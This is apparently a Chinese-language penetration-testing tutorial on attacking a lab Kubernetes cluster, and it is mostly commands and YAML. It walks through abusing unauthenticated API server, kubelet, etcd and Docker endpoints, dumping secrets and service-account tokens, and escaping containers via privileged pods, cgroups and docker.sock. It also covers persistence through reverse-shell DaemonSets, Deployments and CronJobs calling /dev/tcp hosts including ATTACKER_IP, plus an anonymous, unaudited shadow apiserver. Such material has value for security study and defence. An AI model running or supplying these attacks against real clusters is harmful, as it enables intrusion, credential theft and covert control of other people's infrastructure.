Kubernetes 实际利用与分析

本文测试环境基于前文 - Kubernetes 环境搭建与基础知识 搭建的k8s集群:

  • 一个master节点:192.168.223.142
  • 两个工作 节点:192.168.223.143、192.168.223.144

对k8s集群攻击的最终目的是获取cluster-admin权限的kubeconfig 和apiserver 所在master 节点的主机权限(类比拿下域管理员账号和域控)

#用户身份认证

前面介绍k8s Dashboard 的安装时,发现Dashboard 有两种登录方式:Token 登录和证书登录。前面是创建了一个高权限的服务账户,并通过Token 的方式登录。下面通过创建普通用户和服务用户的方式,来介绍如何进行k8s的认证。

#创建高权限用户

申请证书的另一种方法

创建一个名为kim用户的证书:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#需在master 节点执行,如果不在master 节点执行可参考上面的链接:申请证书的另一种方法
#创建私钥
openssl genrsa -out kim.key 2048
#用此私钥创建一个csr(证书签名请求)文件
openssl req -new -key kim.key -subj "/CN=kim" -out kim.csr
#生成证书(需要用到k8s的私钥来签名证书)
openssl x509 -req -in kim.csr -CA /etc/kubernetes/pki/ca.crt -CAkey /etc/kubernetes/pki/ca.key -CAcreateserial -out kim.crt -days 365
#为用户分配cluster-admin权限
#-n namespace 用于指定对某个命名空间的权限,如果未指定命名空间,则代表分配此权限到所有命名空间
kubectl create clusterrolebinding kim-binding --clusterrole=cluster-admin --user=kim

获取代表kim 的证书及私钥到本地,然后创建kubeconfig 文件进行后续的认证:

Tips: kubeconfig 主要由clusters、context、users 组成,可通过kubectl config view简单查看。下面的命令也都可以不添加--kubeconfig 参数,写入的内容会自动保存在$HOME/.kube/config 里,也可通过KUBECONFIG环境变量指定。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#向kubeconfig 写入证书信息
kubectl config set-credentials kim --client-certificate=./kim.crt --client-key=./kim.key --embed-certs=true --kubeconfig=./kim.kubeconfig
#在配置文件中指定api server地址。cluster.local 这个值随意,但前后要统一
kubectl config set-cluster cluster.local --server=https://192.168.223.142:6443/  --insecure-skip-tls-verify --kubeconfig=./kim.kubeconfig
#在配置文件中,设置上下文,kubernetes-admin@cluster.local 值随意,但前后要统一
kubectl config set-context kim@cluster.local --cluster=cluster.local --user=kim --kubeconfig=./kim.kubeconfig
#切换上下文
kubectl config use-context kim@cluster.local --kubeconfig=./kim.kubeconfig
#之后可使用kim.kubeconfig进行正常的kubectl命名了
kubectl get pods --kubeconfig=./kim.kubeconfig

Tips: context中将访问一个集群的参数(集群名、用户名、命名空间等)进行分组,通过use-context来切换集群上下文,用以对多集群的访问。

从上面添加用户的流程可以看出,Kubernetes 并不保存用来代表普通用户账号的对象。使用证书进行认证时,用户的信息保存在本地配置文件中,客户端使用该配置文件进行认证。 **需要注意的是,用户的证书是k8s的私钥来签名的,并且必须为此用户添加相应的权限。**API Server校验证书后,仅检查此用户名所绑定的角色权限。

#创建服务账号

服务账号是 Kubernetes API 所管理的用户,它们被绑定到特定的命名空间。服务账号与一组以 Secret 保存的凭据相关,这些凭据会被挂载到 Pod 中,从而允许集群内的进程访问 Kubernetes API。

创建服务账号,并生成Token:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#创建服务账号
kubectl create serviceaccount kimservice
#给kimService 账号添加集群管理员权限
kubectl create clusterrolebinding kim-admin --clusterrole=cluster-admin --serviceaccount=default:kimservice
#获取服务令牌方式一(k8s高版本有效,这里测试的是1.25 版本)
#创建服务账号令牌,可添加 --duration 10m 参数设置token有效时间
kubectl create token kimservice
#获取服务令牌方式二(k8s低版本有效,这里测试的是 1.23.0版本)
#查看指定命名空间下的所有secret
kubectl get secret -n kube-system
#查询指定secret中的token
kubectl describe secret admin-user-token-8mcdk -n kube-system
#或直接一条命令查询admin-user用户的token
kubectl describe secrets -n kube-system $(kubectl -n kube-system get secret | awk '/admin-user/{print $1}')

本地生成kubeconfig文件,进行认证:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#将token写入到文件
kubectl --kubeconfig=./kimservice.conf config set-credentials kim-user --token=eyJhbGciOiJSUzI1NiIsImtpZCI6I...
#在配置文件中指定api server地址。cluster.local 这个值随意,但前后要统一
kubectl config set-cluster cluster.local --server=https://192.168.223.142:6443/  --insecure-skip-tls-verify --kubeconfig=./kimservice.conf
#在配置文件中,设置上下文,kubernetes-admin@cluster.local 值随意,但前后要统一
kubectl config set-context kubernetes-admin@cluster.local --cluster=cluster.local --user=kimservice --kubeconfig=./kimservice.conf
#切换上下文
kubectl config use-context kubernetes-admin@cluster.local --kubeconfig=./kimservice.conf
#之后可使用kimservice.conf进行正常的kubectl命名了
kubectl get pods --kubeconfig=./kimservice.conf

#或直接一条命令
kubectl --insecure-skip-tls-verify -s https://192.168.223.142:6443/ --token="xxxxxx" get nodes

查询账号权限(用户账号以及服务账号)

通过角色绑定关系来查询:kubectl describe -A clusterrolebindings,rolebindings |grep 用户名

kubectl 命令后添加-v=10 参数,可以显示kubectl 向api server 发送请求的详细信息。

#资产发现

k8s常见端口:443,2375,2379,2380,4194,6666,6443,8443,8080,8081,10250,10252,10255,4149,9443,9444 以及30000 以上的Dashboard 端口。 kube-hunter 可以远程扫描,也可以在容器里扫描。

#未授权访问

#API Server 未授权访问

API Server 可以在两个端口上提供对外服务:8080(insecure-port)和6443(secure-port),其中8080端口提供HTTP服务且无需身份认证,一般未启用。(这两个端口不固定,都可通过配置文件修改)

可在 /etc/kubernets/manifests/kube-apiserver.yaml 配置 --insecure-port=8080 来启用8080端口,但在1.20版本后无效。

不带任何凭据直接访问6443端口,会被默认以system:anonymous 用户权限访问,提示拒绝。 另一种未授权场景是,如果将annoymous 用户与集群管理员cluster-admin角色绑定。

kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

再次访问就能看到内容:(实际环境中,访问此端口出现如下内容那就是存在未授权)

写入用户名密码、API Server 服务器地址、上下文信息到config文件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#这里账号密码随意
kubectl config set-credentials anonymous --username=anonymous --password=anonymous --kubeconfig=./anonymous.kubeconfig
#设置API Server地址,cluster.local这个值随意,但前后要统一
kubectl config set-cluster cluster.local --server=https://192.168.223.142:6443/  --insecure-skip-tls-verify --kubeconfig=./anonymous.kubeconfig
#在配置文件中,设置上下文,kubernetes-admin@cluster.local 值随意,但前后要统一
kubectl config set-context kubernetes-admin@cluster.local --cluster=cluster.local --user=anonymous --kubeconfig=./anonymous.kubeconfig
#切换上下文
kubectl config use-context kubernetes-admin@cluster.local --kubeconfig=./anonymous.kubeconfig
#正常匿名访问了
kubectl get pods --kubeconfig=./anonymous.kubeconfig

#或直接一行命令,只是需要每次都输入密码,随便输就好了
kubectl -s https://192.168.223.142:6443/ --insecure-skip-tls-verify=true get nodes

不使用kubectl命令,也可直接请求 restful API,例如:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#查看kube-ystem命名空间下的token
https://192.168.223.142:6443/api/v1/namespaces/kube-system/secrets/

#查看pods
https://192.168.223.142:6443/api/v1/namespaces/default/pods?limit=500

#创建特权容器
https://192.168.223.142:6443/api/v1/namespaces/default/pods/test
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

#执行命令
https://192.168.223.142:6443/api/v1/namespace/default/pods/test/exec?command=whoami

#kubelet 未授权访问

每个工作节点(Node)都有一个kubelet 服务,kubelet 监听了10250、10248、10255等端口。

kubelet是在Node上用于管理本机Pod的,kubectl是用于管理集群的。kubectl向集群下达指令,Node上的kubelet收到指令后以此来管理本机Pod。

一般情况10250开在节点IP上的,而10248开在localhost。

正常访问是没有权限的

手动允许anonymous 访问,查看服务中的kubelet 配置文件位置

service kubelet status -l

/etc/kubernetes/kubelet-config.yaml anonymous修改为True。 再次访问 下载kubeletctl

查看Pods: ./kubeletctl_linux_amd64 pods -s 192.168.223.143 --port 10250

通过上图知道$namespace、$POD、$CONTAINERS 后,就能在容器里执行命令:

curl -k https://192.168.223.143:10250/run/default/netchecker-agent-j9fm6/netchecker-agent -d "cmd=ls /var/run/secrets/kubernetes.io/serviceaccount/" --insecure 此目录下保存了容器的服务账户的证书、命名空间和token,查看容器中服务账号的Token:cat /var/run/secrets/kubernetes.io/serviceaccount/token

然后可利用此token生成config,根据具体的权限进行利用。

#etcd 未授权访问

etcd 服务默认监听了2379 端口,etcd 若存在未授权,攻击者导出全量etcd配置,可获取存储的各种服务的账号密码、公私钥、服务token等敏感数据。

正常情况 修改/etc/etcd.env 注释掉TLS 相关内容,将https改为http。

再次访问出现如下界面,代表存在未授权。

下载 etcd

遍历所有的key: ETCDCTL_API=3 ./etcdctl --endpoints=http://192.168.223.142:2379/ get / --prefix --keys-only --limit=10

如果服务器启用了https,添加 --insecure-transport=false --insecure-skip-tls-verify 参数来忽略证书校验

通过v3 API来dump数据库到 output.data。

1
ETCDCTL_API=3 ./etcdctl --endpoints=http://192.168.223.142:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c 'ETCDCTL_API=3 ./etcdctl --endpoints=http://192.168.223.142:2379/ get {} >> output.data && echo "" >> output.data'

在文件中寻找token: 关键字,再使用token生成config文件进行利用。

或者在线查询

1
2
etcdctl --endpoints=https://etcd_ip:2375/ get / --prefix --keys-only | grep /secrets/
etdctl --endpoints=https://etcd_ip:2375/ get /registry/secrets/default/admin-token-55712

#Docker Remote API 未授权访问

Docker以 C/S模式工作,其中 docker daemon服务在后台运行,负责管理容器的创建、运行和停止操作。

在Linux主机上,docker daemon监听在/var/run/docker.sock中创建的unix socket,2375 端口用于未认证的 HTTP 通信,2376 用于可信 HTTPS 通信。

当docker 配置了Restful api,那么可以通过HTTP 管理docker。

/usr/lib/systemd/system/docker.service 添加 -H tcp://0.0.0.0:2375

访问2375端口如下,说明存在未授权访问。

通过API 查看运行的主机:

docker -H tcp://192.168.223.139:2375 ps 获取主机权限:可以利用Docker API在远程主机上创建一个特权容器,并且挂载主机根目录到容器,对主机进行进一步的渗透。

docker -H 192.168.223.139:2375 run --rm -it --privileged --net=host -v /:/mnt busybox

如下图,成功获取宿主机权限

#容器逃逸

本质上容器内的进程只是一个受限的普通宿主机进程,容器内部进程的所有行为对于宿主机来说是透明的。容器逃逸的本质和硬件虚拟化逃逸的本质有很大的不同,容器逃逸的过程是一个受限进程获取未受限的完整权限,又或某个原本受 Cgroup/Namespace 限制权限的进程获取更多权限的操作,更趋近于提权。

场景:通过web 打下一个k8s集群中的pod,如何利用此pod逃逸到pod所在的宿主机(即工作节点)?

#容器内信息搜集

  1. cat /proc/1/cgroup 有kubepods 说明在k8s容器中,如果显示是docker,那就是在docker 容器中。(也可以依据env 判断)
  2. cat /proc/1/status |grep Cap 查看当前容器的Capabilities 信息 (有无特权) capsh --decode=00000000a80425fb
  3. mount 查询挂载的磁盘
  4. cat /proc/1/mountinfo |grep lxcfs 查看是否挂载了lxcfs,可进行后续利用。

#利用高权限服务账号

前提: 要求serviceaccount 具有创建容器(POD)的权限。

上传 kubectl 到目标(也可不上传,cat /var/run/secrets/kubernetes.io/serviceaccount/token 获得token,在本地生成config文件,挂代理进行利用)

  1. 执行./kubectl auth can-i create pod 如果返回yes,并且可以执行exec,那么可以进行逃逸。(这里主要是利用起这个pod的服务账号有创建pod和exec的权限)

    这里为了测试给该容器的服务账号添加create pod和exec权限。

    kubectl create clusterrole "netchecker-server" --verb=get,list,create --resource=pods,pods/exec

    再次查看权限:

  2. 通过ymal 创建一个特权容器,挂载宿主机的根目录到容器的/myPath 目录。

    创建Pod:./kubectl create -f 1.ymal

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    
    apiVersion: v1
    kind: Pod
    metadata:
      name: api-server
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: api-server
        image: alpine
        imagePullPolicy: IfNotPresent
        command: ["bin/sh","-c","tail -f /dev/null"]
        volumeMounts:
           - name: hostsvolume
             mountPath: /myPath
        securityContext:
           privileged: true
      nodeName: master #在指定节点上安装容器,可用于逃逸指定节点
      volumes:
      - name: hostsvolume
        hostPath:
         path: /
    

    Tips1: 如果kubectl describe nodes master 查看主节点发现配置了 Taints: node.kubernetes.io/unschedulable:NoSchedule ,那么创建pod时,需要在spec下添加如下配置:

    1
    2
    3
    4
    
    tolerations:
        - key: node.kubernetes.io/unschedulable
          operator: Exists
          effect: NoSchedule
    

    Tips2: 可以不落ymal文件的方式创建:

    1
    2
    3
    
    cat << EOF | kubectl apply -f -
    # {YAML文件内容}
    EOF
    

    然后可以直接chroot /myPath bash 获取宿主机权限。

    拿到master 机器权限,可以保存/etc/kubernetes/admin.conf 文件内容到本地,此为集群管理员权限的config,来控制集群所有pods。

    或者保存ca证书到本地用作认证:

    1
    
    kubectl -s https://192.168.223.142:6443/ --certificate-authority=/etc/kubernetes/pki/ca.crt get nodes
    

Tips:如果机器出网的话,其实这里不需要有exec 权限,创建容器时可以直接反弹shell。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
apiVersion: v1
kind: Pod
metadata:
  name: api-server2
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: api-server2
    image: bash
    imagePullPolicy: IfNotPresent
    command: ["bash"]
    args: ["-c", "bash -i >& /dev/tcp/192.168.223.143/2333 0>&1"]
    volumeMounts:
       - name: hostsvolume
         mountPath: /myPath
    securityContext:
       privileged: true
  nodeName: master
  volumes:
  - name: hostsvolume
    hostPath:
     path: /

#利用 LXCFS

Cgroup 实现了对容器(进程)资源的限制,但是在容器内部依然缺省挂载了宿主机的procfs的/proc目录,其中包含:meminfo、cpuinfo、stat、uptime等资源信息。一些监控工具如 free、top 会依赖上述文件获取资源配置和使用情况。这就导致了虽然cgroup 对容器资源做了限制,但是当进入到容器当中通过 free、top 等命令查看cpu内存信息的时候看到的是整个宿主机的cpu 内存。

LXCFS 是一个小型 FUSE 文件系统,使得Linux容器的文件系统更像虚拟机。启动以后会在指定目录中维护 /proc目录中的文件同名的文件,从而保证容器读取数据时读取到lxcfs维护的/proc文件中状态数据。也就是说lxcfs 可以使容器中类似如 free、top 获取到的资源配置和使用情况是容器自身的。

环境搭建:

  1. 宿主机安装 https://github.com/lxc/lxcfs,并创建容器挂载lxcfs所在的/var目录。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    python3 -m pip install meson jinja2 ninja
    git clone git://github.com/lxc/lxcfs
    cd lxcfs
    meson setup -Dinit-script=systemd --prefix=/usr build/
    meson compile -C build/
    sudo meson install -C build/
    #运行 lxcfs
    mkdir -p /var/lib/lxcfs
    lxcfs /var/lib/lxcfs
    

    创建容器

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    
    apiVersion: v1
    kind: Pod
    metadata:
      name: lxcfs-rw
    spec:
      containers:
      - name: lxcfs-rw-5
        image: nginx
        command: ["sleep"]
        args: ["infinity"]
        imagePullPolicy: IfNotPresent
        volumeMounts:
          - mountPath: /mydata
            mountPropagation: HostToContainer
            name: test-data
      nodeName: master
      volumes:
      - name: test-data
        hostPath:
          path: /var
          type: ""
    
  2. 判断当前容器是否使用了lxcfs

    cat /proc/1/mountinfo |grep lxcfs ls -l /mydata/lib/lxcfs

  3. /mydata/lib/lxcfs路径下会绑定当前容器的 devices subsystem cgroup,且在容器内有权限对该 devices subsystem 进行修改。

    echo a > devices.allow修改当前容器的设备访问权限,以此在容器内可以访问所有类型的设备。

  4. /etc/hosts、/dev/termination-log、/etc/resolv.conf、/etc/hostname 这四个容器内文件是由默认从宿主机挂载进容器的,所以在它们的挂载信息内可以获得主设备号 ID。

    cat /proc/self/mountinfo|grep /etc

    1
    2
    3
    4
    5
    
    #使用mknod创建相应的设备文件目录并使用debugfs进行访问,此时就有了读写宿主机任意文件的权限。
    #这里的8 3就是上图的主设备号ID
    mknod mknod_near b 8 3
    #挂载
    debugfs -w mknod_near
    

    debugfs 主要用来对ext2/ext3/ext4文件系统进行调试,可以用来恢复文件。

    注:如上图,注意这里的宿主机是Centos7 ,它的文件系统类型是xfs,不适用于debugfs命令,这里无法利用。(Centos 7 开始默认文件系统是xfs,Centos6是ext4,Centos5是ext3。所以Centos 7的宿主机不支持这种方法)

    这里借用了一张成功的图:

CDK 也有此利用的模块。

#利用特权容器

通过fdisk -l 判断是否在特权容器内,如果不在特权容器内此命令没有回显,当然目标上也不一定有这个命令(可上传CDK,通过cdk evaluate 获取)。

当容器为 privileged、sys_admin 等特殊配置时,可使用以下方法进行逃逸。(在容器内 CAPABILITIES sys_admin 其实是 privileged 的子集)

方法一:CDK

其实就是挂载设备到容器的指定目录。(mount /dev/sda3 /tmp/aaa

./cdk run mount-disk

然后可以写ssh 公钥、计划任务、/root/.bashrc等文件来获取宿主机权限。

方法二:CDK (可直接执行命令)

将宿主机cgroup目录挂载到容器内,随后劫持宿主机cgroup的release_agent文件,通过linux cgroup notify_on_release机制触发命令执行,完成逃逸。

./cdk_linux_amd64 run mount-cgroup "ip a"

方法三:CDK

结合lxcfs利用的思路,挂载cgroup到指定目录。

./cdk run rewrite-cgroup-devices

1
2
3
4
5
#手动利用
mkdir /tmp/dev
mount -t cgroup -o devices devices /tmp/dev/
#后续利用和上面lxcfs部分相同了,cgroup 已经挂载到了/tmp/dev/
#当前容器的cgroup的devices.allow 路径可结合cat /proc/1/cgroup 进行查找

#利用 docker.sock

当宿主机的 /var/run/docker.sock 被挂载容器内的时候,容器内就可以通过 docker.sock 在宿主机里创建任意配置(权限)的容器。一般来说docker.sock 是存在于docker daemon服务端的,但如果开发人员想在docker容器里运行docker命令,就会把宿主机的docker.sock挂载到容器内部。

1
2
3
4
5
6
7
8
9

#查看容器
curl -s --unix-socket /var/run/docker.sock "http://docker_daemon_ip/containers/json"

curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'

curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"
#创建特权容器(后续可逃逸至宿主机)
docker -H unix:///tmp/rootfs/var/run/docker.sock run -d -it --rm --name rshell -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest

#利用 /PROC 目录的挂载

主要是利用了 linux 的 /proc/sys/kernel/core_pattern 文件,让我们可以逃逸并在外部执行命令。

CDK 有此实现。

cdk run mount-procfs <proc-dir> "<shell-cmd>"

#利用 SYS_PTRACE 权限

当创建 docker 容器时,设置--cap-add=SYS_PTRACE 或 创建 k8s 容器时,设置 securityContext.capabilities为 SYS_PTRACE 时,可能导致容器逃逸。拥有了该权限就可以在容器内执行 strace 和 ptrace 等工具。

存在SYS_PTRACE权限,并且挂载宿主机的PID空间时,可以通过strace 抓取宿主机ssh密码。创建这种权限的容器也可以较好的绕过HIDS或k8s安全策略的限制。

CDK 有检查此权限的模块。

#CVE 提权

漏洞分析

Docker 逃逸:CVE-2019-5736、CVE-2019-14271、CVE-2020-15257

k8s提权到接管集群:CVE-2018-1002105、CVE-2020-8558

某些逃逸漏洞在CDK 中有实现。

#权限维持

  1. 部署 shadow apiserver

    shadow apiserver 具有和集群中现有的apiserver 一致的功能,同时开启了全部K8s管理权限,接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    
    #不在容器中执行
    #指定api server的地址
    export KUBERNETES_SERVICE_HOST="192.168.223.142"
    export KUBERNETES_SERVICE_PORT="6443"
    #./admin_token 为token所在的路径
    ./cdk run k8s-shadow-apiserver ./admin_token
    #在容器中执行
    ./cdk run k8s-shadow-apiserver default
    
    #cdk将在配置文件中添加以下选项:
    --allow-privileged
    --insecure-port=9443
    --insecure-bind-address=0.0.0.0
    --secure-port=9444
    --anonymous-auth=true
    --authorization-mode=AlwaysAllow
    ...
    
  2. 利用 DaemonSet/Deployment

    DaemonSet 能够确保全部(或某些)节点上运行一个Pod 的副本。当有节点加入集群时,也会为它们新增一个Pod;当有节点从集群移除时,这些Pod也会被回收。如果DaemonSet 监测到Pod退出,也将自动在相同节点上重建一个新Pod。

    • 如果利用管理员凭证在目标集群内创建一个内容为反弹shell的DaemonSet,就能够实现集群所有节点自动化反弹shell(通过创建特权Pod) 。

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      
      apiVersion: apps/v1
      kind: DaemonSet
      metadata:
        name: kube-api-self
        namespace: kube-system
      spec:
        selector:
          matchLabels:
            app: kube-api-self
        template:
          metadata:
            labels:
              app: kube-api-self
          spec:
            hostNetwork: true
            hostPID: true
            containers:
            - name: main
              image: bash
              imagePullPolicy: IfNotPresent
              command: ["bash"]
              args: ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"]
              securityContext:
                privileged: true
              volumeMounts:
              - mountPath: /host
                name: host-root
            volumes:
            - name: host-root
              hostPath:
                path: /
                type: Directory
      
    • Deployment 也是确保在任何时候都有特定数量的Pod副本处于运行状态,容器被删除后会自动创建恢复容器。

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      
      apiVersion: apps/v1
      kind: Deployment
      metadata:
        name: nginx-deploy
        labels:
          k8s-app: nginx-demo
      spec:
        replicas: 2
        selector:
          matchLabels:
            app: nginx
        template:
          metadata:
            labels:
              app: nginx
          spec:
            hostNetwork: true
            hostPID: true
            containers:
            - name: nginx
              image: nginx:1.7.9
              imagePullPolicy: IfNotPresent
              command: ["bash"]
              args: ["-c", "bash -i >& /dev/tcp/192.168.223.143/2333 0>&1"]
              securityContext:
                privileged: true
              volumeMounts:
              - mountPath: /host
                name: host-root
            volumes:
            - name: host-root
              hostPath:
                path: /
                type: Directory
      
      1
      2
      3
      4
      
      #进行部署
      kubectl create -f 1.ymal
      #删除部署
      kubectl delete -f 1.ymal
      
  3. CronJob 持久化

    kubectl get CronJob 查看定时任务

    CronJob 用于执行周期性的动作,例如备份、报告生成等,攻击者可以利用此功能持久化。

    CDK 也可以一键部署

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    
    apiVersion: batch/v1
    kind: CronJob
    metadata:
      name: hello
    spec:
      schedule: "*/1 * * * *" #每分钟执行一次
      jobTemplate:
        spec:
          template:
            spec:
              containers:
              - name: hello
                image: nginx
                imagePullPolicy: IfNotPresent
                command:
                - /bin/bash
                - -c
                - "bash -i >& /dev/tcp/192.168.223.143/2333 0>&1"
              restartPolicy: Always#也可以利用在普通pods当中,始终重启
    

    也可以为普通pod增加restartPolicy: Always,能够达到CronJob的效果。

  4. StaticPod

    静态 Pod 在指定的节点上由 kubelet 守护进程直接管理,不需要 API 服务器监管。kubelet 监视每个静态 Pod(在它失败之后重新启动)。

  5. k0otkit

    k0otkit 可以快速、隐蔽和连续的方式控制目标 Kubernetes 集群中的所有节点

    更多技巧,反弹至msf、容器镜像等问题,参考:K0OTKIT:HACK K8S IN A K8S WAY

#参考

  1. k8s安全入门
  2. 【技术推荐】云原生之Kubernetes安全
  3. 红蓝对抗中的云原生漏洞挖掘及利用实录
加载评论